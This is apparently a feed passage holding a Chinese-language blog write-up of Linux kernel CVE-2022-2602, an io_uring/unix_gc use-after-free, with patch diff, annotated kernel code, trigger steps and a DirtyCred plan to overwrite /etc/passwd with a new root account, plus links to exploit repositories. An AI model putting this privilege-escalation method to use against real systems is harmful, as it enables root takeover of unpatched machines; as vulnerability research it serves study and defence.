[4] https:// googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22265.html

[5] https://seclists.org/oss-sec/2022/q1/99

[6] https://i.blackhat.com/USA-22/Thursday/US-22-Lin-Cautious-A-New-Exploitation-Method.pdf

[7] https://i.blackhat.com/USA-22 /Wednesday/US-22-Wu-Devils-Are-in-the-File.pdf

[8] https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors .pdf

[9] opensrcsec/same_type_object_reuse_exploits

[10] https://i.blackhat.com/USA-22/Thursday/US-22-WANG-Ret2page-The-Art-of-Exploiting-Use-After-Free-Vulnerability -in-the-Dedicated-Cache.pdf

[11] https://googleprojectzero.blogspot.com/2022/11/a-very-powerful-clipboard-samsung-in-the-wild-exploit-chain.html

[12] https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html

[13] https://www.semanticscholar.org/paper/Reverse-Engineering-Hardware-Page-Table-Caches-on-Schaik/32c37ad63901eeafc848c2f8d9a73db42b365e9f

https://blog.csdn.net/qq_61670993/article/details/136115905 —— 以 m0leCon Finals 2023 CTF keasy 为例讲解了如何采用脏页表来利用file UAF。

]]>
bsauce
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF2023-06-08T00:00:00+08:002023-06-08T00:00:00+08:00https://bsauce.github.io/2023/06/08/CVE-2022-2602【kernel exploit】CVE-2022-2602 UNIX_GC错误释放io_uring注册的file结构-UAF

本文主要参考 [漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析 并做一些补充。

影响版本:Linux Kernel < v6.0.3。v6.0.3已修复。

测试版本:Linux-v6.0.2 (v6.0.2 测试失败,v5.18.19测试成功) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.0.2.tar.xz
$ tar -xvf linux-6.0.2.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:io_uring组件中有个功能 IORING_REGISTER_FILES,可以将文件放入 io_uring 的 sock->receive_queue 队列中。而Linux的垃圾回收机制GC(只处理 io_uring 和 sock 文件的飞行计数)可能会将io_uring中注册的文件当做垃圾释放,io_uring 下次使用该文件时(利用writev写文件,对应IORING_OP_WRITEV功能)触发UAF。可通过userfaultfd触发该竞争漏洞。

补丁patch unix_gc()

对于使用 io_uring_register 功能进行注册的文件,其生成的 skb 标记 scm_io_uring 位,加以区分。尽管 unix_gc() 还会对 io_uring 注册文件进行不可破循环检测,但是最后确定了垃圾队列 hitlist 之后,将所有通过 io_uring 注册的文件从 hitlist 移除。也就是说,unix_gc() 不会释放 io_uring 注册的文件,io_uring 自己会释放文件。

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d927..7be5bb4c94b6d 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;
  *	@csum_level: indicates the number of consecutive checksums found in
  *		the packet minus one that have been verified as
  *		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files
  *	@dst_pending_confirm: need to confirm neighbour
  *	@decrypted: Decrypted SKB
  *	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {
 #endif
 	__u8			slow_gro:1;
 	__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;
 
 #ifdef CONFIG_NET_SCHED
 	__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e56..012fdb04ec238 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)
 
 		UNIXCB(skb).fp = fpl;
 		skb->sk = sk;
+		skb->scm_io_uring = 1;		// 对于使用 `io_uring_register` 功能进行注册的文件,其生成的 skb 标记 scm_io_uring 成员位
 		skb->destructor = unix_destruct_scm;
 		refcount_add(skb->truesize, &sk->sk_wmem_alloc);
 	}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a7..dc27635403932 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)
 /* The external entry point: unix_gc() */
 void unix_gc(void)
 {
+	struct sk_buff *next_skb, *skb;
 	struct unix_sock *u;
 	struct unix_sock *next;
 	struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)
 
 	spin_unlock(&unix_gc_lock);
 
+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {		// unix_gc() 不处理通过 `io_uring` 注册的文件
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+
 	/* Here we are. Hitlist is filled. Die. */
 	__skb_queue_purge(&hitlist);
 
 	spin_lock(&unix_gc_lock);
 
+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+
 	/* All candidates should have been detached by now. */
 	BUG_ON(!list_empty(&gc_candidates));

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:由于UNIX_GC垃圾回收机制会错误释放 io_uring 中还在使用的文件结构体(正在往"/tmp/rwA"普通文件写入恶意数据),可以采用DirtyCred方法,打开大量"/etc/passwd"文件,覆盖刚刚释放的file结构体,这样最后就会实际往"/etc/passwd"文件写入恶意数据。

本漏洞由@kiks@LukeGix 共同编写EXP。

1. 漏洞分析

1-1. Linux 垃圾回收机制

关于Linux垃圾回收机制(SCM_RIGHTS 消息发送过程、接收过程、不可破循环的识别过程)可以参见文章-【漏洞分析】CVE-2021-0920 Linux内核垃圾回收机制中的竞争UAF漏洞,该文章是采用 SOCK_STREAM socket(以发送函数 unix_stream_sendmsg() 为例来讲解SCM发送文件描述符的过程),本文采用 SOCK_DGRAM socket (以发送函数 unix_dgram_sendmsg() 为例来讲解SCM发送文件描述符的过程)。

static int unix_dgram_sendmsg(struct socket *sock, struct msghdr *msg,
			      size_t len)
{
	struct scm_cookie scm;
	··· 
	err = scm_send(sock, msg, &scm, false);// [1] 先调用`scm_send()`获取用户传入的文件描述符对应的文件,然后初始化 scm_cookie 结构(scm_cookie->fp->fp指向待传递的`file`结构列表),此时会增加文件引用计数,表示SCM正在处理该文件,最后在[3]处调用scm_destroy()减少文件引用计数。
    ···    
	skb = sock_alloc_send_pskb(sk, len - data_len, data_len,
				   msg->msg_flags & MSG_DONTWAIT, &err,
				   PAGE_ALLOC_COSTLY_ORDER);
	if (skb == NULL)
		goto out;

	err = unix_scm_to_skb(&scm, skb, true);// [2] 调用 unix_scm_to_skb()->unix_attach_fds() 将 `scm_cookie->fp` 文件列表绑定到相应的skb对象,并增加文件引用计数(调用scm_fp_dup())和飞行计数(调用unix_inflight())
	···
    scm_destroy(&scm);// [3] 发送结束后释放scm,将刚刚初始化scm时增加的文件引用计数减少(调用fput())
    ···
    skb_queue_tail(&other->sk_receive_queue, skb);// [4] 将skb添加到对端的接收队列
}

1-2. io_uring 原理

io_uring 具体原理可参考 【kernel exploit】CVE-2021-41073 内核类型混淆漏洞利用分析

本文简单介绍下漏洞相关的 io_uring 功能。

(1)io_uring_setup()

io_uring_setup() 负责初始化io_uring的两个环形队列,然后为io_uring创建一个文件对象,将文件描述符返回给用户,用户可以使用这个文件描述符来映射出内存来访问两个队列和创建相关资源。重点注意,在 io_uring_setup() -> io_uring_create() -> io_uring_get_file() 中,初始化了一个sock结构体(之后通过io_uring注册的文件会保存到这个 sk->receive_queue 队列中)

static struct file *io_uring_get_file(struct io_ring_ctx *ctx)
{
	struct file *file;
#if defined(CONFIG_UNIX)
	int ret;

	ret = sock_create_kern(&init_net, PF_UNIX, SOCK_RAW, IPPROTO_IP,
				&ctx->ring_sock); // 给 ctx->ring_sock 初始化一个sock结构体
	if (ret)
		return ERR_PTR(ret);
#endif

	file = anon_inode_getfile("[io_uring]", &io_uring_fops, ctx,
					O_RDWR | O_CLOEXEC); // 初始化一个file对象,其fd后续给用户使用
#if defined(CONFIG_UNIX)
	if (IS_ERR(file)) {
		sock_release(ctx->ring_sock);
		ctx->ring_sock = NULL;
	} else {
		ctx->ring_sock->file = file;
	}
#endif
	return file;
}  

重点注意,io_uring初始化完,还会同步存在一个io_uring的文件对象和sock对象,这在后面漏洞触发中很重要。如果初始化io_uring时带 IORING_SETUP_SQPOLL flag的话,则会在 io_sq_offload_create() 中初始化一个内核线程轮询 io_uring 的任务队列,就不用我们主动调用 io_uring_enter() 通知 io_uring 了,这里不详细分析了。

(2)io_uring_register() - v5.18.19

io_uring注册文件对应的是 IORING_REGISTER_FILES 功能,入口函数是 io_uring_register() ,该功能允许将若干文件描述符注册进入io_uring,方便后续的io操作。

SYSCALL_DEFINE4(io_uring_register, unsigned int, fd, unsigned int, opcode,
		void __user *, arg, unsigned int, nr_args)
{
	···
	ret = __io_uring_register(ctx, opcode, arg, nr_args);
	···
}

直接调用了 __io_uring_register(),在 __io_uring_register() 中会根据opcode类型调用到 io_sqe_files_register() 函数:

  • [1] 会遍历用户传递的所有需要注册的文件描述符,找到对应的 struct file 结构体,这其中会调用 fget() 函数,该操作会对文件的引用次数+1

  • [2] 接下来会调用关键函数 io_sqe_files_scm() 对文件进行下一步注册: (v6.0.2 版本的内核有变化,实现该功能的函数是io_scm_file_account()

static int io_sqe_files_register(struct io_ring_ctx *ctx, void __user *arg,//2602
				 unsigned nr_args, u64 __user *tags)
{
	···
    // [1] nr_user_files 用户绑定的文件数量,遍历所有用户传进来的文件描述符
	for (i = 0; i < nr_args; i++, ctx->nr_user_files++) {
		u64 tag = 0;

		if ((tags && copy_from_user(&tag, &tags[i], sizeof(tag))) ||
		    copy_from_user(&fd, &fds[i], sizeof(fd))) {// [1] 获取用户传递的文件描述符fd
			ret = -EFAULT;
			goto out_fput;
		}
		···
		file = fget(fd);					// [1] 获取文件结构体,fget会对文件引用次数+1
		···
		if (file->f_op == &io_uring_fops) {	// 不能io_uring 注册自己
			fput(file);
			goto out_fput;
		}
		ctx->file_data->tags[i] = tag;
		io_fixed_file_set(io_fixed_file_slot(&ctx->file_table, i), file);
	}

	ret = io_sqe_files_scm(ctx);			// [2] 关键函数,进一步逻辑
	···
}

io_sqe_files_scm() 直接调用 __io_sqe_files_scm()

  • [1] sk是io_uring在初始化时候创建的struct sock结构

  • [2] 先申请一个skb(可以保存多个用户传入的 file 结构,存于skb->fp->fp列表),这很重要;然后遍历所有文件,对他们使用 get_file() 引用计数会+1;然后将这些文件使用 unix_inflight() 发送,如果发送的文件是sock类型则会增加飞行计数添加到全局飞行列表gc_inflight_list,普通文件不受影响;最后将文件列表fpl赋值给 skb->cb.fp,并把新分配的skb添加到io_uring sock的接收队列(``sk->receive_queue )之中(漏洞点!!!)。

  • [3] 最后处理完之后会对所有文件使用 fput()文件引用计数会-1,相当于平衡了最开始的 fget()

static int __io_sqe_files_scm(struct io_ring_ctx *ctx, int nr, int offset)//ctx,thisfiles total
{
	struct sock *sk = ctx->ring_sock->sk;	// [1] sock 是最开始 io_uring 初始化的时候创建的
	struct scm_fp_list *fpl;
	struct sk_buff *skb;
	int i, nr_files;

	fpl = kzalloc(sizeof(*fpl), GFP_KERNEL);
	···
	skb = alloc_skb(0, GFP_KERNEL);			// [2] 申请一个sk_buff,可以保存多个用户传入的 `file` 结构
	···
	skb->sk = sk;							// skb->sk 指向 io_uring 的 sk

	nr_files = 0;
	fpl->user = get_uid(current_user());
	for (i = 0; i < nr; i++) {				// [2] 遍历所有文件
		struct file *file = io_file_from_index(ctx, i + offset);// 获得文件结构体

		if (!file)
			continue;
		fpl->fp[nr_files] = get_file(file);	// [2] get_file同样会使file引用次数+1,把文件注册到fpl中
		unix_inflight(fpl->user, fpl->fp[nr_files]);	// [2] 把文件添加到发送队列,会增加sock类型文件的inflight飞行计数
		nr_files++;
	}

	if (nr_files) {
		fpl->max = SCM_MAX_FD;
		fpl->count = nr_files;
		UNIXCB(skb).fp = fpl;				// [2] fpl 给skb
		skb->destructor = unix_destruct_scm;
		refcount_add(skb->truesize, &sk->sk_wmem_alloc);
		skb_queue_head(&sk->sk_receive_queue, skb);// [2] 将新分配的skb添加到sk->sk_receive_queue中 !!!!!! 漏洞点 !!!!!!

		for (i = 0; i < nr_files; i++)
			fput(fpl->fp[i]);				// [3] 对这些文件使用fput,平衡刚刚使用的get_file
	} else {
		kfree_skb(skb);
		kfree(fpl);
	}

	return 0;
}

文章 分析过 unix_inflight()sk_receive_queue 等,这里的代码比较奇怪,将注册到io_uring中的sock文件通过 unix_inflight() 增加飞行计数,这没有问题,但是后面又将注册文件添加到io_uring文件的 sk_receive_queue 队列中sk_receive_queue 代表一个socket还未接收的消息队列,socket总是成对出现,而io_uring只有一个。(推测,这里加入到io_uring文件的 sk_receive_queue 队列中,表示还未被io_uring处理过的文件,而io_uring文件也有可能会被关闭,可以被看作是socket,也需要识别不可破循环以进行垃圾处理,这样便于UNIX_GC统一识别不可破循环)

(3)io_uring_register() - v6.0.2

不同点:负责进一步注册的函数有变化,从 io_sqe_files_scm() 变为 io_scm_file_account(),且在遍历用户传入file的循环内部调用了注册处理函数,后续不需要再遍历用户传入的file了。

io_uring_register() -> __io_uring_register() -> io_sqe_files_register()

  • [1] 遍历用户传递的所有需要注册的文件描述符,找到对应的 file 结构体,其中会调用 fget()文件引用次数+1
  • [2] 接下来调用 io_scm_file_account() 函数对文件进行下一步注册。
int io_sqe_files_register(struct io_ring_ctx *ctx, void __user *arg,
			  unsigned nr_args, u64 __user *tags)
{
	...
    ret = io_rsrc_data_alloc(ctx, io_rsrc_file_put, tags, nr_args,	// 读取 tags
				 &ctx->file_data);
    ...
	for (i = 0; i < nr_args; i++, ctx->nr_user_files++) {	// [1] 遍历 nr_args 个用户传进来的文件描述符
		struct io_fixed_file *file_slot;

		if (fds && copy_from_user(&fd, &fds[i], sizeof(fd))) {	// 获取文件描述符 fd
			ret = -EFAULT;
			goto fail;
		}
		...
		file = fget(fd);										// 获取 file 结构体,fget对文件引用次数+1
		...
		if (io_is_uring_fops(file)) {							// 判断 file->f_op == &io_uring_fops
			fput(file);
			goto fail;
		}
		ret = io_scm_file_account(ctx, file);					// [2] 关键漏洞函数
		if (ret) {
			fput(file);
			goto fail;
		}
		file_slot = io_fixed_file_slot(&ctx->file_table, i);
		io_fixed_file_set(file_slot, file);
		io_file_bitmap_set(&ctx->file_table, i);
	}
	...
}

io_scm_file_account() 直接调用 __io_scm_file_account()

  • [1] sk是io_uring在初始化时候创建的struct sock结构

  • [2] 先申请一个skb,或者从 io_uring 文件的 sk->sk_receive_queue 中取出现有的skb,这很重要;然后遍历所有文件,对他们使用 get_file() 引用计数会+1;然后将这些文件使用 unix_inflight() 发送,如果发送的文件是sock类型则会增加飞行计数添加到全局飞行列表gc_inflight_list,普通文件不受影响;最后将文件列表fpl赋值给 skb->cb.fp,并把新分配的skb添加到io_uring sock的接收队列(``sk->receive_queue )之中(漏洞点!!!)。

  • [3] 最后处理完之后会对所有文件使用 fput()文件引用计数会-1,相当于平衡了最开始的 fget()

int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)
{
#if defined(CONFIG_UNIX)
	struct sock *sk = ctx->ring_sock->sk;			// [1] sock 是最开始 io_uring 初始化的时候创建的
	struct sk_buff_head *head = &sk->sk_receive_queue;
	struct scm_fp_list *fpl;
	struct sk_buff *skb;

    // 看能否将本 file 整合到现有的 skb SCM_RIGHTS file 集合(sk->sk_receive_queue)中,如果没有则分配新的skb
	spin_lock_irq(&head->lock);
	skb = skb_peek(head);
	if (skb && UNIXCB(skb).fp->count < SCM_MAX_FD)
		__skb_unlink(skb, head);
	else
		skb = NULL;
	spin_unlock_irq(&head->lock);

	if (!skb) {
		fpl = kzalloc(sizeof(*fpl), GFP_KERNEL);
		if (!fpl)
			return -ENOMEM;

		skb = alloc_skb(0, GFP_KERNEL);				// [2] 每注册一个文件,都会申请一个 sk_buff (skb)

		fpl->user = get_uid(current_user());
		fpl->max = SCM_MAX_FD;
		fpl->count = 0;

		UNIXCB(skb).fp = fpl;
		skb->sk = sk;								// skb->sk 指向 io_uring 的 sk        
		skb->destructor = unix_destruct_scm;
		refcount_add(skb->truesize, &sk->sk_wmem_alloc);
	}

	fpl = UNIXCB(skb).fp;
	fpl->fp[fpl->count++] = get_file(file);			// 文件引用次数+1,将用户传入的文件加入到 sk->fp->fp 中
	unix_inflight(fpl->user, file);					// 把文件添加到发送队列,会增加sock类型文件的inflight飞行计数
	skb_queue_head(head, skb);						// 将新分配的skb添加到sk->sk_receive_queue中 !!!!!! 漏洞点 !!!!!!
	fput(file);										// [3] 文件引用次数-1
#endif
	return 0;
}

(4)io_submit_sqe() - 提交读写任务

io_submit_sqe()函数是在我们向io_uring中提交任务之后(不管是不是 IORING_SETUP_SQPOLL 模式都会走到这里),io_uring准备完成这个sqe的任务的时候会触发,这里简单看一下io_uring如何完成 IORING_OP_WRITEV 类型任务,也就是writev写任务。

static int io_submit_sqe(struct io_ring_ctx *ctx, struct io_kiocb *req,
			 const struct io_uring_sqe *sqe)
{
	struct io_submit_link *link = &ctx->submit_state.link;
	int ret;

	ret = io_init_req(ctx, req, sqe);	// 初始化调用任务
	···
	ret = io_req_prep(req, sqe);		// 准备调用任务,这里会进行文件权限的判断
	···
		} else {
			io_queue_sqe(req);			// 尝试执行
	···
}

主要分为三步,在 io_init_req() 中进行初始化,然后调用 io_req_prep() 函数准备调用任务(注意,v5.18.19版本中是在io_init_req()函数末尾直接调用 io_req_prep()),对于writev任务会在这里先调用 io_write_prep() 进行文件权限校验

static int io_write_prep(struct io_kiocb *req, const struct io_uring_sqe *sqe)
{
	if (unlikely(!(req->file->f_mode & FMODE_WRITE)))
		return -EBADF;
	return io_prep_rw(req, sqe);
}

最后会在 io_queue_sqe() -> __io_queue_sqe() -> io_issue_sqe() -> io_write() 中完成实际写入工作。

所以虽然是writev任务,但并没有直接去调用系统调用writev相关内容,而且整个过程中也没有改变文件的引用计数。

注意:v5.18.19版本内核中是直接在 io_write() -> io_rw_init_file() 函数中进行文件权限校验。

static int io_write(struct io_kiocb *req, unsigned int issue_flags)
{
    ...
    ret = io_rw_init_file(req, FMODE_WRITE);
    ...
}

static int io_rw_init_file(struct io_kiocb *req, fmode_t mode)
{
    ...
    if (unlikely(!file || !(file->f_mode & mode)))		// 检查文件写权限
		return -EBADF;
    ...
}

1-3. 漏洞的触发

触发:重点关注相关文件的引用计数变化和飞行计数变化(只有发送 io_uring 和 sock类型的文件描述符才涉及飞行计数的变化)。

  • (1)准备一对 socket,文件描述符记为s[0]s[1],准备好之后默认的引用计数均为1;

  • (2)初始化io_uring,获取一个文件描述符记为fd,初始状态引用计数为1;

  • (3)打开一个普通可读写文件(文件描述符rfd[1] "/tmp/rwA"),初始状态引用计数为1;

  • (4)使用 io_uring_register 的注册功能注册 s[1]rfd[1](注册到了fd中,且 s[1]rfd[1] 生成对应的skb保存到了fd的sk->sk_receive_queue队列中),在这期间会将文件的引用计数+1,并且 io_uring_register 中会对注册的文件调用unix_inflight() 函数,sock类型的 s[1] 的飞行计数+1,并会将 s[1]rfd[1] 放入同一个skb中;
    • s[1]:引用计数2;飞行计数1;
    • rfd[1]:引用计数2;不涉及飞行计数;
  • (5)关闭 rfd[1],引用计数-1,变为1(因为前面已经使用 io_uring_register 注册到了fd中,rfd[1]对应生成的skb保存到了fd的sk->sk_receive_queue中,所以还存在引用计数1);

  • (6)使用 s[0] 将fd发送给 s[1],这期间会使 fd 的引用计数+1,并且由于发送过程中调用 unix_inflight() 函数,io_uring类型的fd 同样会使飞行计数+1;
    • fd:引用计数2;飞行计数1;
  • (7)分别关闭s[0]和s[1],他们的引用计数都会减1;
    • s[0]:引用计数0,被释放;
    • s[1]:引用计数1,飞行计数1,暂时不会被释放;
  • (8)先往"/tmp/rwA"文件写入大量数据,占据inode文件锁(参考Dirty Cred分析中的方法);再向 fd(io_uring) 提交一个文件写(writev - IORING_OP_WRITEV)的任务,往"/tmp/rwA"文件写入恶意数据(新的root账户和密码),这个任务就会阻塞在文件权限检查之后,实际写之前;

  • (9)调用 io_uring_queue_exit 关闭fd,fd的引用计数-1;
    • fd:引用计数1;飞行计数1,暂时不会被释放;
  • (10)创建一个socket,并且关闭,触发垃圾回收 unix_gc() (在socket 关闭过程中触发);

  • (11)s[1]fd(io_uring) 都满足 引用计数==飞行计数 的条件,并且s[1]fd都在对方的 sk_receive_queue 中,属于不可破循环
    • unix_gc() 会将他们从对方的 sk_receive_queue 中取下并且加入hitlist中调用 __skb_queue_purge() 完成释放(释放的是skb),并且减少飞行计数;
  • (12)释放 skb 过程中会对 skb 中的 file 调用 fput()
    • fd所在的skb中只有fd自己,对 fd(io_uring) 使用 fput(),文件引用计数-1,变为0成功释放;
    • s[1] 所在的skb中有 s[1] 自己和 rfd[1],对这两个文件使用 fput();(fd的 sk->sk_receive_queue 中保存的skb的sk->fp->fp列表包含了 s[1]rfd[1] 两个文件描述符);
      • s[1] 经过 fput() 之后引用计数变为0,被释放,没问题;
      • rfd[1] 经过 fput() 之后引用计数变为0,被释放,但上面的(8)步还有因阻塞而没有完成的任务,所以导致任务阻塞完毕之后尝试写入时访问了已经被释放的文件结构体,造成UAF

漏洞利用:在非法释放之后,文件写阻塞结束之前,使用堆喷射喷射其他 file 结构体(打开大量的"/etc/passwd"文件)覆盖这个被释放的结构体所在内存,就可以写到"/etc/passwd"文件了。

1-4. 漏洞修复

修复方法:在 unix_gc() 确定了垃圾队列 hitlist 之后,从 hitlist 队列中移除通过 io_uring 注册的文件,因为 io_uring 自己会处理释放文件。

问题:为什么不直接让 unix_gc() 不处理 io_uring 相关的飞行计数?因为从以上EXP示例可以看出,fd 是需要被释放清空的(属于不可破循环中的情况,socket s[1] 和 fd都已经被关闭,但是fd仍然位于 s[1] 的接收队列中),如果不处理 io_uring 相关的飞行计数,就不会将 fd 识别为垃圾。

2. 漏洞利用

原理:在 io_uring 执行IO任务之前,利用漏洞将文件释放掉,然后采用 DirtyCred 利用方法。

io_uring 虽然是无系统调用的IO操作,但本质上还是完成的对应系统调用的功能,比如可以给 io_uring 下发writev系统调用的任务,接着直接套用DirtyCred方法。

进程A 进程B(启动比A慢)  
打开"/tmp/rwA"文件,写入大量数据(0x80000 * 0x1000 字节);    
通过文件权限校验,并获取inode文件锁; 打开"/tmp/rwA"文件,尝试写入恶意数据(新的root账号和密码),提交写任务到io_uring;  
长时间写入…… 通过文件权限校验,等待获取inode文件锁;  
释放inode文件锁;    
  触发漏洞,释放本file结构体;  
    打开大量"/etc/passwd"文件,覆盖刚刚释放的file结构体;
  获得inode文件锁,但实际会写入"/etc/passwd"文件。  

本漏洞和传统DirtyCred相关利用的漏洞不同的点在于,该漏洞的io_uring自带了写功能,并且逻辑和writev类似,无需自己再writev。

3. 测试结果

如果ssh连进去执行expoit时报格式错误,重传一遍exploit即可。v5.18.19版本的内核测试成功,但v6.0.2测试失败。

succeed-5.18.19

4. 常用命令

参考 CVE-2022-34918

liburing 安装

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

参考

  1. 【漏洞分析】CVE-2021-0920 Linux内核垃圾回收机制中的竞争UAF漏洞
  2. CVE-2022-2602: DirtyCred File Exploitation applied on an io_uring UAF —— 英文博客1

  3. DirtyCred Remastered: how to turn an UAF into Privilege Escalation —— 英文博客2:UAF 转化为DirtyCred

  4. https://github.com/kiks7/CVE-2022-2602-Kernel-Exploit

  5. https://github.com/LukeGix/CVE-2022-2602

  6. https://seclists.org/oss-sec/2022/q4/57 —— 漏洞披露

  7. [漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析 —— 中文翻译

  8. io_uring, SCM_RIGHTS, and reference-count cycles —— file引用计数知识

  9. The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I) —— Linux垃圾回收知识

  10. 【bsauce读论文】2022-CCS-DirtyCred: Escalating Privilege in Linux Kernel

  11. 【kernel exploit】CVE-2021-41073 内核类型混淆漏洞利用分析 —— io_uring 相关漏洞
]]>
bsauce